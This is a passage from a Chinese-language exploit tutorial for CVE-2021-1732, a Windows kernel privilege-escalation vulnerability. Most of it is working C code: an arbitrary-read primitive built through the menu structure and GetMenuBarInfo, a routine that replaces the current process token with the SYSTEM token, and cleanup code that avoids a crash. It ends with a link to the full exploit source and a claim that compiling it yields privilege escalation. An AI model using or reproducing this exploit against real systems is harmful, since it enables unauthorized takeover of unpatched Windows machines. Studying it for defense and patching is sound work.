// 刪除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
現在就可以通過設置*(spMenu + 0x58)的值,來實現任意地址的讀取:
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress){ BYTE bValue[0x8] = { 0 };
RECT Rect = { 0 }; if (!GetWindowRect(g_hWnd[1], &Rect)) { ShowError("GetWindowRect", GetLastError()); goto exit; }
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(mbi); *(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi)) { ShowError("GetMenuBarInfo", GetLastError()); goto exit; }
*(PDWORD)bValue = mbi.rcBar.left - Rect.left; *(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;
exit: return *(PQWORD)bValue;}
3.提權
具有任意地址讀寫的能力,就可以通過替換Token實現提權:
BOOL EnablePrivileges_CVE_2021_1732(){ BOOL bRet = TRUE; CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;
QWORD qwSytemAddr = GetSystemProcess(); if (!qwSytemAddr) { bRet = FALSE; goto exit; }
// 獲取system進程EPROCESS的地址和Token QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr); QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);
// 找到當前進程的EPROCESS QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;
do { qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset; qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset); } while (qwPID != qwCurPID);
// 替換Token if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken)) { bRet = FALSE; goto exit; }
exit: return bRet;}
4.修復數據
提權完成之后,為了防止退出進程時發生BSOD,還需要將利用該漏洞過程中修改的窗口對象的成員修復回原來的數據:
// 修復數據,防止藍屏lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);
if (qwWndOffset > qwTriggerOffset){ printf("qwWndOffset to larger\n"); goto exit;}
qwWndOffset = qwTriggerOffset - qwWndOffset;
DWORD dwFlagsOffset = 0xE8;
DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
dwFlags &= ~0x800;if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);if (!qwBuffer){ bRet = FALSE; ShowError("HeapAlloc", GetLastError()); goto exit;}
if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
// 增加g_hWnd[1]的WS_CHILDqwStyle |= 0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
// 恢復g_hWnd[1]的spMenuif (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
// 刪除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) && GetLastError() != 0){ bRet = FALSE; ShowError("SetWindowLongPtr", GetLastError()); goto exit;}
五、運行結果
完整代碼保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2021-1732.cpp。編譯運行即可成功提權:
